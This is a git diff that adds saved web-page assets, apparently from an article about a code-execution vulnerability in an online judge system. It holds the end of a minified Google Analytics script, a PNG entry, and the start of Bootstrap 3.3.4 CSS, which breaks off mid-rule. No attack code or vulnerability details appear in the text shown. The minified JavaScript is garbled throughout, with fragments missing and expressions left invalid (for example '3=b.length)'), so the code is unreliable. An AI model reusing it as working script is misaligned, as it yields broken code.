ca={version:g[0],timestamp:1E3*Number(g[1]),qa:g[2]};c&&3=b.length)wc(a,b,c);else if(8192>=b.length)x(a,b,c)||wd(a,b,c)||wc(a,b,c);else throw ge("len",b.length),new Da(b.length);},pe=function(a,b, +c,d){d=d||ua;wd(a+"?"+b,"",d,c)},wc=function(a,b,c){var d=ta(a+"?"+b);d.onload=d.onerror=function(){d.onload=null;d.onerror=null;c()}},wd=function(a,b,c,d){var e=O.XMLHttpRequest;if(!e)return!1;var g=new e;if(!("withCredentials"in g))return!1;a=a.replace(/^http:/,"https:");g.open("POST",a,!0);g.withCredentials=!0;g.setRequestHeader("Content-Type","text/plain");g.onreadystatechange=function(){if(4==g.readyState){if(d&&"text/plain"===g.getResponseHeader("Content-Type"))try{Ea(d,g.responseText,c)}catch(ca){ge("xhr", +"rsp"),c()}else c();g=null}};g.send(b);return!0},Ea=function(a,b,c){if(1>b.length)ge("xhr","ver","0"),c();else if(3=100*R(a,Ka))throw"abort";}function Ma(a){if(G(P(a,Na)))throw"abort";}function Oa(){var a=M.location.protocol;if("http:"!=a&&"https:"!=a)throw"abort";} +function Pa(a){try{O.navigator.sendBeacon?J(42):O.XMLHttpRequest&&"withCredentials"in new O.XMLHttpRequest&&J(40)}catch(c){}a.set(ld,Td(a),!0);a.set(Ac,R(a,Ac)+1);var b=[];ue.map(function(c,d){d.F&&(c=a.get(c),void 0!=c&&c!=d.defaultValue&&("boolean"==typeof c&&(c*=1),b.push(d.F+"="+K(""+c))))});!1===a.get(xe)&&b.push("npa=1");b.push("z="+Bd());a.set(Ra,b.join("&"),!0)} +function Sa(a){var b=P(a,fa);!b&&a.get(Vd)&&(b="beacon");var c=P(a,gd),d=P(a,oe),e=c||(d||bd(!1)+"")+"/collect";switch(P(a,ad)){case "d":e=c||(d||bd(!1)+"")+"/j/collect";b=a.get(qe)||void 0;pe(e,P(a,Ra),b,a.Z(Ia));break;default:b?(c=P(a,Ra),d=(d=a.Z(Ia))||ua,"image"==b?wc(e,c,d):"xhr"==b&&wd(e,c,d)||"beacon"==b&&x(e,c,d)||ba(e,c,d)):ba(e,P(a,Ra),a.Z(Ia))}e=P(a,Na);e=h(e);b=e.hitcount;e.hitcount=b?b+1:1;e.first_hit||(e.first_hit=(new Date).getTime());e=P(a,Na);delete h(e).pending_experiments;a.set(Ia, +ua,!0)}function Hc(a){qc().expId&&a.set(Nc,qc().expId);qc().expVar&&a.set(Oc,qc().expVar);var b=P(a,Na);if(b=h(b).pending_experiments){var c=[];for(d in b)b.hasOwnProperty(d)&&b[d]&&c.push(encodeURIComponent(d)+"."+encodeURIComponent(b[d]));var d=c.join("!")}else d=void 0;d&&((b=a.get(m))&&(d=b+"!"+d),a.set(m,d,!0))}function cd(){if(O.navigator&&"preview"==O.navigator.loadPurpose)throw"abort";} +function yd(a){var b=O.gaDevIds||[];if(ka(b)){var c=a.get("&did");qa(c)&&0=c)throw"abort";a.set(Wa,--c)}a.set(Ua,++b)};var Ya=function(){this.data=new ee};Ya.prototype.get=function(a){var b=$a(a),c=this.data.get(a);b&&void 0==c&&(c=ea(b.defaultValue)?b.defaultValue():b.defaultValue);return b&&b.Z?b.Z(this,a,c):c};var P=function(a,b){a=a.get(b);return void 0==a?"":""+a},R=function(a,b){a=a.get(b);return void 0==a||""===a?0:Number(a)};Ya.prototype.Z=function(a){return(a=this.get(a))&&ea(a)?a:ua}; +Ya.prototype.set=function(a,b,c){if(a)if("object"==typeof a)for(var d in a)a.hasOwnProperty(d)&&ab(this,d,a[d],c);else ab(this,a,b,c)};var ab=function(a,b,c,d){if(void 0!=c)switch(b){case Na:wb.test(c)}var e=$a(b);e&&e.o?e.o(a,b,c,d):a.data.set(b,c,d)};var ue=new ee,ve=[],bb=function(a,b,c,d,e){this.name=a;this.F=b;this.Z=d;this.o=e;this.defaultValue=c},$a=function(a){var b=ue.get(a);if(!b)for(var c=0;c=b?!1:!0},gc=function(a){var b={};if(Ec(b)||Fc(b)){var c=b[Eb];void 0==c||Infinity==c||isNaN(c)||(0c)a[b]=void 0},Fd=function(a){return function(b){if("pageview"==b.get(Va)&&!a.I){a.I=!0;var c=aa(b),d=0a.length)J(12);else{for(var d=[],e=0;e=a&&d.push({hash:ca[0],R:e[g],O:ca})}if(0!=d.length)return 1==d.length?d[0]:Zc(b,d)||Zc(c,d)||Zc(null,d)||d[0]}function Zc(a,b){if(null==a)var c=a=1;else c=La(a),a=La(D(a,".")?a.substring(1):"."+a);for(var d=0;de?"?":"&")+a+b.substring(e);b=b.replace(/&+_ga=/,"&_ga=");return b=b.replace(/&+_gac=/,"&_gac=")},rd=function(a,b){if(b&&b.action)if("get"==b.method.toLowerCase()){a=a.target.get("linkerParam").split("&");for(var c= +0;carguments.length)){if("string"===typeof arguments[0]){var b=arguments[0];var c=[].slice.call(arguments,1)}else b=arguments[0]&&arguments[0][Va],c=arguments;b&&(c=za(me[b]||[],c),c[Va]=b,this.model.set(c,void 0,!0),this.filters.D(this.model),this.model.data.m={})}};pc.prototype.ma=function(a,b){var c=this;u(a,c,b)||(v(a,function(){u(a,c,b)}),y(String(c.get(V)),a,void 0,b,!0))}; +var td=function(a,b){var c=P(a,U);a.data.set(la,"_ga"==c?"_gid":c+"_gid");if("cookie"==P(a,ac)){hc=!1;c=Ca(P(a,U));c=Xd(a,c);if(!c){c=P(a,W);var d=P(a,$b)||xa();c=Xc("__utma",d,c);void 0!=c?(J(10),c=c.O[1]+"."+c.O[2]):c=void 0}c&&(hc=!0);if(d=c&&!a.get(Hd))if(d=c.split("."),2!=d.length)d=!1;else if(d=Number(d[1])){var e=R(a,Zb);d=d+e<(new Date).getTime()/1E3}else d=!1;d&&(c=void 0);c&&(a.data.set(xd,c),a.data.set(Q,c),(c=uc(a))&&a.data.set(I,c));a.get(je)&&(c=a.get(ce),d=a.get(ie),!c||d&&"aw.ds"!= +d)&&(c={},d=(M?df(c):{})[P(a,Na)],le(c),d&&0!=d.length&&(c=d[0],a.data.set(fe,c.timestamp/1E3),a.data.set(ce,c.qa)));a.get(je)&&!a.get(Se)&&(c={},d=(M?df(c,"_gac_gb",!0):{})[P(a,Na)],ef(c),d&&0!=d.length&&(c=d[0],d=c.qa,c.labels&&c.labels.length&&(d+="."+c.labels.join(".")),a.data.set(Te,c.timestamp/1E3),a.data.set(Se,d)))}if(a.get(Hd)){c=be("_ga",!!a.get(cc));var g=be("_gl",!!a.get(cc));d=De.get(a.get(cc));e=d._ga;g&&0=ca[0]||0>=ca[1]?"":ca.join("x");a.set(rb,c);c=a.set;var k;if((e=(e=O.navigator)?e.plugins:null)&&e.length)for(l=0;la.split("/")[0].indexOf(":")&&(a=ca+e[2].substring(0,e[2].lastIndexOf("/"))+"/"+a);c.href=a;d=b(c);return{protocol:(c.protocol||"").toLowerCase(),host:d[0],port:d[1],path:d[2],query:c.search||"",url:a||""}},cf=function(a,b){return a&&0<=a.indexOf("/")?a:(b||bd(!1))+"/plugins/ua/"+a};var Z={ga:function(){Z.fa=[]}};Z.ga();Z.D=function(a){var b=Z.J.apply(Z,arguments);b=Z.fa.concat(b);for(Z.fa=[];0c;c++){var d=b[c].src;if(d&&0==d.indexOf(bd(!0)+ +"/analytics")){b=!0;break a}}b=!1}b&&(Ba=!0)}(O.gaplugins=O.gaplugins||{}).Linker=Dc;b=Dc.prototype;C("linker",Dc);X("decorate",b,b.ca,20);X("autoLink",b,b.S,25);X("passthrough",b,b.$,25);C("displayfeatures",fd);C("adfeatures",fd);a=a&&a.q;ka(a)?Z.D.apply(N,a):J(50)}};var gf=N.N,hf=O[gb];hf&&hf.r?gf():z(gf);z(function(){Z.D(["provide","render",ua])});})(window); diff --git "a/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/anonymous.png" "b/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/anonymous.png" new file mode 100644 index 0000000..91c1639 Binary files /dev/null and "b/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/anonymous.png" differ diff --git "a/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/bootstrap.css" "b/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/bootstrap.css" new file mode 100644 index 0000000..cd1c616 --- /dev/null +++ "b/document/\346\237\220OJ\347\263\273\347\273\237\346\201\266\346\204\217\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236 - Matrix_files/bootstrap.css" @@ -0,0 +1,5 @@ +/*! + * Bootstrap v3.3.4 (http://getbootstrap.com) + * Copyright 2011-2015 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + *//*! normalize.css v3.0.2 | MIT License | git.io/normalize */html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}h1{margin:.67em 0;font-size:2em}mark{color:#000;background:#ff0}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{height:0;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{margin:0;font:inherit;color:inherit}button{overflow:visible}button,select{text-transform:none}button,html input[type=button],input[type=reset],input[type=submit]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{padding:0;border:0}input{line-height:normal}input[type=checkbox],input[type=radio]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:0}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}input[type=search]{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-appearance:textfield}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}fieldset{padding:.35em .625em .75em;margin:0 2px;border:1px solid silver}legend{padding:0;border:0}textarea{overflow:auto}optgroup{font-weight:700}table{border-spacing:0;border-collapse:collapse}td,th{padding:0}/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */@media print{*,:after,:before{color:#000!important;text-shadow:none!important;background:0 0!important;-webkit-box-shadow:none!important;box-shadow:none!important}a,a:visited{text-decoration:underline}a[href]:after{content:" (" attr(href) ")"}abbr[title]:after{content:" (" attr(title) ")"}a[href^="javascript:"]:after,a[href^="#"]:after{content:""}blockquote,pre{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}img,tr{page-break-inside:avoid}img{max-width:100%!important}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}select{background:#fff!important}.navbar{display:none}.btn>.caret,.dropup>.btn>.caret{border-top-color:#000!important}.label{border:1px solid #000}.table{border-collapse:collapse!important}.table td,.table th{background-color:#fff!important}.table-bordered td,.table-bordered th{border:1px solid #ddd!important}}@font-face{font-family:'Glyphicons Halflings';src:url(../fonts/glyphicons-halflings-regular.eot);src:url(../fonts/glyphicons-halflings-regular.eot?#iefix) format('embedded-opentype'),url(../fonts/glyphicons-halflings-regular.woff2) format('woff2'),url(../fonts/glyphicons-halflings-regular.woff) format('woff'),url(../fonts/glyphicons-halflings-regular.ttf) format('truetype'),url(../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular) format('svg')}.glyphicon{position:relative;top:1px;display:inline-block;font-family:'Glyphicons Halflings';font-style:normal;font-weight:400;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.glyphicon-asterisk:before{content:"\2a"}.glyphicon-plus:before{content:"\2b"}.glyphicon-eur:before,.glyphicon-euro:before{content:"\20ac"}.glyphicon-minus:before{content:"\2212"}.glyphicon-cloud:before{content:"\2601"}.glyphicon-envelope:before{content:"\2709"}.glyphicon-pencil:before{content:"\270f"}.glyphicon-glass:before{content:"\e001"}.glyphicon-music:before{content:"\e002"}.glyphicon-search:before{content:"\e003"}.glyphicon-heart:before{content:"\e005"}.glyphicon-star:before{content:"\e006"}.glyphicon-star-empty:before{content:"\e007"}.glyphicon-user:before{content:"\e008"}.glyphicon-film:before{content:"\e009"}.glyphicon-th-large:before{content:"\e010"}.glyphicon-th:before{content:"\e011"}.glyphicon-th-list:before{content:"\e012"}.glyphicon-ok:before{content:"\e013"}.glyphicon-remove:before{content:"\e014"}.glyphicon-zoom-in:before{content:"\e015"}.glyphicon-zoom-out:before{content:"\e016"}.glyphicon-off:before{content:"\e017"}.glyphicon-signal:before{content:"\e018"}.glyphicon-cog:before{content:"\e019"}.glyphicon-trash:before{content:"\e020"}.glyphicon-home:before{content:"\e021"}.glyphicon-file:before{content:"\e022"}.glyphicon-time:before{content:"\e023"}.glyphicon-road:before{content:"\e024"}.glyphicon-download-alt:before{content:"\e025"}.glyphicon-download:before{content:"\e026"}.glyphicon-upload:before{content:"\e027"}.glyphicon-inbox:before{content:"\e028"}.glyphicon-play-circle:before{content:"\e029"}.glyphicon-repeat:before{content:"\e030"}.glyphicon-refresh:before{content:"\e031"}.glyphicon-list-alt:before{content:"\e032"}.glyphicon-lock:before{content:"\e033"}.glyphicon-flag:before{content:"\e034"}.glyphicon-headphones:before{content:"\e035"}.glyphicon-volume-off:before{content:"\e036"}.glyphicon-volume-down:before{content:"\e037"}.glyphicon-volume-up:before{content:"\e038"}.glyphicon-qrcode:before{content:"\e039"}.glyphicon-barcode:before{content:"\e040"}.glyphicon-tag:before{content:"\e041"}.glyphicon-tags:before{content:"\e042"}.glyphicon-book:before{content:"\e043"}.glyphicon-bookmark:before{content:"\e044"}.glyphicon-print:before{content:"\e045"}.glyphicon-camera:before{content:"\e046"}.glyphicon-font:before{content:"\e047"}.glyphicon-bold:before{content:"\e048"}.glyphicon-italic:before{content:"\e049"}.glyphicon-text-height:before{content:"\e050"}.glyphicon-text-width:before{content:"\e051"}.glyphicon-align-left:before{content:"\e052"}.glyphicon-align-center:before{content:"\e053"}.glyphicon-align-right:before{content:"\e054"}.glyphicon-align-justify:before{content:"\e055"}.glyphicon-list:before{content:"\e056"}.glyphicon-indent-left:before{content:"\e057"}.glyphicon-indent-right:before{content:"\e058"}.glyphicon-facetime-video:before{content:"\e059"}.glyphicon-picture:before{content:"\e060"}.glyphicon-map-marker:before{content:"\e062"}.glyphicon-adjust:before{content:"\e063"}.glyphicon-tint:before{content:"\e064"}.glyphicon-edit:before{content:"\e065"}.glyphicon-share:before{content:"\e066"}.glyphicon-check:before{content:"\e067"}.glyphicon-move:before{content:"\e068"}.glyphicon-step-backward:before{content:"\e069"}.glyphicon-fast-backward:before{content:"\e070"}.glyphicon-backward:before{content:"\e071"}.glyphicon-play:before{content:"\e072"}.glyphicon-pause:before{content:"\e073"}.glyphicon-stop:before{content:"\e074"}.glyphicon-forward:before{content:"\e075"}.glyphicon-fast-forward:before{content:"\e076"}.glyphicon-step-forward:before{content:"\e077"}.glyphicon-eject:before{content:"\e078"}.glyphicon-chevron-left:before{content:"\e079"}.glyphicon-chevron-right:before{content:"\e080"}.glyphicon-plus-sign:before{content:"\e081"}.glyphicon-minus-sign:before{content:"\e082"}.glyphicon-remove-sign:before{content:"\e083"}.glyphicon-ok-sign:before{content:"\e084"}.glyphicon-question-sign:before{content:"\e085"}.glyphicon-info-sign:before{content:"\e086"}.glyphicon-screenshot:before{content:"\e087"}.glyphicon-remove-circle:before{content:"\e088"}.glyphicon-ok-circle:before{content:"\e089"}.glyphicon-ban-circle:before{content:"\e090"}.glyphicon-arrow-left:before{content:"\e091"}.glyphicon-arrow-right:before{content:"\e092"}.glyphicon-arrow-up:before{content:"\e093"}.glyphicon-arrow-down:before{content:"\e094"}.glyphicon-share-alt:before{content:"\e095"}.glyphicon-resize-full:before{content:"\e096"}.glyphicon-resize-small:before{content:"\e097"}.glyphicon-exclamation-sign:before{content:"\e101"}.glyphicon-gift:before{content:"\e102"}.glyphicon-leaf:before{content:"\e103"}.glyphicon-fire:before{content:"\e104"}.glyphicon-eye-open:before{content:"\e105"}.glyphicon-eye-close:before{content:"\e106"}.glyphicon-warning-sign:before{content:"\e107"}.glyphicon-plane:before{content:"\e108"}.glyphicon-calendar:before{content:"\e109"}.glyphicon-random:before{content:"\e110"}.glyphicon-comment:before{content:"\e111"}.glyphicon-magnet:before{content:"\e112"}.glyphicon-chevron-up:before{content:"\e113"}.glyphicon-chevron-down:before{content:"\e114"}.glyphicon-retweet:before{content:"\e115"}.glyphicon-shopping-cart:before{content:"\e116"}.glyphicon-folder-close:before{content:"\e117"}.glyphicon-folder-open:before{content:"\e118"}.glyphicon-resize-vertical:before{content:"\e119"}.glyphicon-resize-horizontal:before{content:"\e120"}.glyphicon-hdd:before{content:"\e121"}.glyphicon-bullhorn:before{content:"\e122"}.glyphicon-bell:before{content:"\e123"}.glyphicon-certificate:before{content:"\e124"}.glyphicon-thumbs-up:before{content:"\e125"}.glyphicon-thumbs-down:before{content:"\e126"}.glyphicon-hand-right:before{content:"\e127"}.glyphicon-hand-left:before{content:"\e128"}.glyphicon-hand-up:before{content:"\e129"}.glyphicon-hand-down:before{content:"\e130"}.glyphicon-circle-arrow-right:before{content:"\e131"}.glyphicon-circle-arrow-left:before{content:"\e132"}.glyphicon-circle-arrow-up:before{content:"\e133"}.glyphicon-circle-arrow-down:before{content:"\e134"}.glyphicon-globe:before{content:"\e135"}.glyphicon-wrench:before{content:"\e136"}.glyphicon-tasks:before{content:"\e137"}.glyphicon-filter:before{content:"\e138"}.glyphicon-briefcase:before{content:"\e139"}.glyphicon-fullscreen:before{content:"\e140"}.glyphicon-dashboard:before{content:"\e141"}.glyphicon-paperclip:before{content:"\e142"}.glyphicon-heart-empty:before{content:"\e143"}.glyphicon-link:before{content:"\e144"}.glyphicon-phone:before{content:"\e145"}.glyphicon-pushpin:before{content:"\e146"}.glyphicon-usd:before{content:"\e148"}.glyphicon-gbp:before{content:"\e149"}.glyphicon-sort:before{content:"\e150"}.glyphicon-sort-by-alphabet:before{content:"\e151"}.glyphicon-sort-by-alphabet-alt:before{content:"\e152"}.glyphicon-sort-by-order:before{content:"\e153"}.glyphicon-sort-by-order-alt:before{content:"\e154"}.glyphicon-sort-by-attributes:before{content:"\e155"}.glyphicon-sort-by-attributes-alt:before{content:"\e156"}.glyphicon-unchecked:before{content:"\e157"}.glyphicon-expand:before{content:"\e158"}.glyphicon-collapse-down:before{content:"\e159"}.glyphicon-collapse-up:before{content:"\e160"}.glyphicon-log-in:before{content:"\e161"}.glyphicon-flash:before{content:"\e162"}.glyphicon-log-out:before{content:"\e163"}.glyphicon-new-window:before{content:"\e164"}.glyphicon-record:before{content:"\e165"}.glyphicon-save:before{content:"\e166"}.glyphicon-open:before{content:"\e167"}.glyphicon-saved:before{content:"\e168"}.glyphicon-import:before{content:"\e169"}.glyphicon-export:before{content:"\e170"}.glyphicon-send:before{content:"\e171"}.glyphicon-floppy-disk:before{content:"\e172"}.glyphicon-floppy-saved:before{content:"\e173"}.glyphicon-floppy-remove:before{content:"\e174"}.glyphicon-floppy-save:before{content:"\e175"}.glyphicon-floppy-open:before{content:"\e176"}.glyphicon-credit-card:before{content:"\e177"}.glyphicon-transfer:before{content:"\e178"}.glyphicon-cutlery:before{content:"\e179"}.glyphicon-header:before{content:"\e180"}.glyphicon-compressed:before{content:"\e181"}.glyphicon-earphone:before{content:"\e182"}.glyphicon-phone-alt:before{content:"\e183"}.glyphicon-tower:before{content:"\e184"}.glyphicon-stats:before{content:"\e185"}.glyphicon-sd-video:before{content:"\e186"}.glyphicon-hd-video:before{content:"\e187"}.glyphicon-subtitles:before{content:"\e188"}.glyphicon-sound-stereo:before{content:"\e189"}.glyphicon-sound-dolby:before{content:"\e190"}.glyphicon-sound-5-1:before{content:"\e191"}.glyphicon-sound-6-1:before{content:"\e192"}.glyphicon-sound-7-1:before{content:"\e193"}.glyphicon-copyright-mark:before{content:"\e194"}.glyphicon-registration-mark:before{content:"\e195"}.glyphicon-cloud-download:before{content:"\e197"}.glyphicon-cloud-upload:before{content:"\e198"}.glyphicon-tree-conifer:before{content:"\e199"}.glyphicon-tree-deciduous:before{content:"\e200"}.glyphicon-cd:before{content:"\e201"}.glyphicon-save-file:before{content:"\e202"}.glyphicon-open-file:before{content:"\e203"}.glyphicon-level-up:before{content:"\e204"}.glyphicon-copy:before{content:"\e205"}.glyphicon-paste:before{content:"\e206"}.glyphicon-alert:before{content:"\e209"}.glyphicon-equalizer:before{content:"\e210"}.glyphicon-king:before{content:"\e211"}.glyphicon-queen:before{content:"\e212"}.glyphicon-pawn:before{content:"\e213"}.glyphicon-bishop:before{content:"\e214"}.glyphicon-knight:before{content:"\e215"}.glyphicon-baby-formula:before{content:"\e216"}.glyphicon-tent:before{content:"\26fa"}.glyphicon-blackboard:before{content:"\e218"}.glyphicon-bed:before{content:"\e219"}.glyphicon-apple:before{content:"\f8ff"}.glyphicon-erase:before{content:"\e221"}.glyphicon-hourglass:before{content:"\231b"}.glyphicon-lamp:before{content:"\e223"}.glyphicon-duplicate:before{content:"\e224"}.glyphicon-piggy-bank:before{content:"\e225"}.glyphicon-scissors:before{content:"\e226"}.glyphicon-bitcoin:before{content:"\e227"}.glyphicon-btc:before{content:"\e227"}.glyphicon-xbt:before{content:"\e227"}.glyphicon-yen:before{content:"\00a5"}.glyphicon-jpy:before{content:"\00a5"}.glyphicon-ruble:before{content:"\20bd"}.glyphicon-rub:before{content:"\20bd"}.glyphicon-scale:before{content:"\e230"}.glyphicon-ice-lolly:before{content:"\e231"}.glyphicon-ice-lolly-tasted:before{content:"\e232"}.glyphicon-education:before{content:"\e233"}.glyphicon-option-horizontal:before{content:"\e234"}.glyphicon-option-vertical:before{content:"\e235"}.glyphicon-menu-hamburger:before{content:"\e236"}.glyphicon-modal-window:before{content:"\e237"}.glyphicon-oil:before{content:"\e238"}.glyphicon-grain:before{content:"\e239"}.glyphicon-sunglasses:before{content:"\e240"}.glyphicon-text-size:before{content:"\e241"}.glyphicon-text-color:before{content:"\e242"}.glyphicon-text-background:before{content:"\e243"}.glyphicon-object-align-top:before{content:"\e244"}.glyphicon-object-align-bottom:before{content:"\e245"}.glyphicon-object-align-horizontal:before{content:"\e246"}.glyphicon-object-align-left:before{content:"\e247"}.glyphicon-object-align-vertical:before{content:"\e248"}.glyphicon-object-align-right:before{content:"\e249"}.glyphicon-triangle-right:before{content:"\e250"}.glyphicon-triangle-left:before{content:"\e251"}.glyphicon-triangle-bottom:before{content:"\e252"}.glyphicon-triangle-top:before{content:"\e253"}.glyphicon-console:before{content:"\e254"}.glyphicon-superscript:before{content:"\e255"}.glyphicon-subscript:before{content:"\e256"}.glyphicon-menu-left:before{content:"\e257"}.glyphicon-menu-right:before{content:"\e258"}.glyphicon-menu-down:before{content:"\e259"}.glyphicon-menu-up:before{content:"\e260"}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:10px;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:1.42857143;color:#333;background-color:#fff}button,input,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#337ab7;text-decoration:none}a:focus,a:hover{color:#23527c;text-decoration:underline}a:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}figure{margin:0}img{vertical-align:middle}.carousel-inner>.item>a>img,.carousel-inner>.item>img,.img-responsive,.thumbnail a>img,.thumbnail>img{display:block;max-width:100%;height:auto}.img-rounded{border-radius:6px}.img-thumbnail{display:inline-block;max-width:100%;height:auto;padding:4px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.img-circle{border-radius:50%}hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}[role=button]{cursor:pointer}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}.h1 .small,.h1 small,.h2 .small,.h2 small,.h3 .small,.h3 small,.h4 .small,.h4 small,.h5 .small,.h5 small,.h6 .small,.h6 small,h1 .small,h1 small,h2 .small,h2 small,h3 .small,h3 small,h4 .small,h4 small,h5 .small,h5 small,h6 .small,h6 small{font-weight:400;line-height:1;color:#777}.h1,.h2,.h3,h1,h2,h3{margin-top:20px;margin-bottom:10px}.h1 .small,.h1 small,.h2 .small,.h2 small,.h3 .small,.h3 small,h1 .small,h1 small,h2 .small,h2 small,h3 .small,h3 small{font-size:65%}.h4,.h5,.h6,h4,h5,h6{margin-top:10px;margin-bottom:10px}.h4 .small,.h4 small,.h5 .small,.h5 small,.h6 .small,.h6 small,h4 .small,h4 small,h5 .small,h5 small,h6 .small,h6 small{font-size:75%}.h1,h1{font-size:36px}.h2,h2{font-size:30px}.h3,h3{font-size:24px}.h4,h4{font-size:18px}.h5,h5{font-size:14px}.h6,h6{font-size:12px}p{margin:0 0 10px}.lead{margin-bottom:20px;font-size:16px;font-weight:300;line-height:1.4}@media (min-width:768px){.lead{font-size:21px}}.small,small{font-size:85%}.mark,mark{padding:.2em;background-color:#fcf8e3}.text-left{text-align:left}.text-right{text-align:right}.text-center{text-align:center}.text-justify{text-align:justify}.text-nowrap{white-space:nowrap}.text-lowercase{text-transform:lowercase}.text-uppercase{text-transform:uppercase}.text-capitalize{text-transform:capitalize}.text-muted{color:#777}.text-primary{color:#337ab7}a.text-primary:hover{color:#286090}.text-success{color:#3c763d}a.text-success:hover{color:#2b542c}.text-info{color:#31708f}a.text-info:hover{color:#245269}.text-warning{color:#8a6d3b}a.text-warning:hover{color:#66512c}.text-danger{color:#a94442}a.text-danger:hover{color:#843534}.bg-primary{color:#fff;background-color:#337ab7}a.bg-primary:hover{background-color:#286090}.bg-success{background-color:#dff0d8}a.bg-success:hover{background-color:#c1e2b3}.bg-info{background-color:#d9edf7}a.bg-info:hover{background-color:#afd9ee}.bg-warning{background-color:#fcf8e3}a.bg-warning:hover{background-color:#f7ecb5}.bg-danger{background-color:#f2dede}a.bg-danger:hover{background-color:#e4b9b9}.page-header{padding-bottom:9px;margin:40px 0 20px;border-bottom:1px solid #eee}ol,ul{margin-top:0;margin-bottom:10px}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;margin-left:-5px;list-style:none}.list-inline>li{display:inline-block;padding-right:5px;padding-left:5px}dl{margin-top:0;margin-bottom:20px}dd,dt{line-height:1.42857143}dt{font-weight:700}dd{margin-left:0}@media (min-width:768px){.dl-horizontal dt{float:left;width:160px;overflow:hidden;clear:left;text-align:right;text-overflow:ellipsis;white-space:nowrap}.dl-horizontal dd{margin-left:180px}}abbr[data-original-title],abbr[title]{cursor:help;border-bottom:1px dotted #777}.initialism{font-size:90%;text-transform:uppercase}blockquote{padding:10px 20px;margin:0 0 20px;font-size:17.5px;border-left:5px solid #eee}blockquote ol:last-child,blockquote p:last-child,blockquote ul:last-child{margin-bottom:0}blockquote .small,blockquote footer,blockquote small{display:block;font-size:80%;line-height:1.42857143;color:#777}blockquote .small:before,blockquote footer:before,blockquote small:before{content:'\2014 \00A0'}.blockquote-reverse,blockquote.pull-right{padding-right:15px;padding-left:0;text-align:right;border-right:5px solid #eee;border-left:0}.blockquote-reverse .small:before,.blockquote-reverse footer:before,.blockquote-reverse small:before,blockquote.pull-right .small:before,blockquote.pull-right footer:before,blockquote.pull-right small:before{content:''}.blockquote-reverse .small:after,.blockquote-reverse footer:after,.blockquote-reverse small:after,blockquote.pull-right .small:after,blockquote.pull-right footer:after,blockquote.pull-right small:after{content:'\00A0 \2014'}address{margin-bottom:20px;font-style:normal;line-height:1.42857143}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,"Courier New",monospace}code{padding:2px 4px;font-size:90%;color:#c7254e;background-color:#f9f2f4;border-radius:4px}kbd{padding:2px 4px;font-size:90%;color:#fff;background-color:#333;border-radius:3px;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.25);box-shadow:inset 0 -1px 0 rgba(0,0,0,.25)}kbd kbd{padding:0;font-size:100%;font-weight:700;-webkit-box-shadow:none;box-shadow:none}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:1.42857143;color:#333;word-break:break-all;word-wrap:break-word;background-color:#f5f5f5;border:1px solid #ccc;border-radius:4px}pre 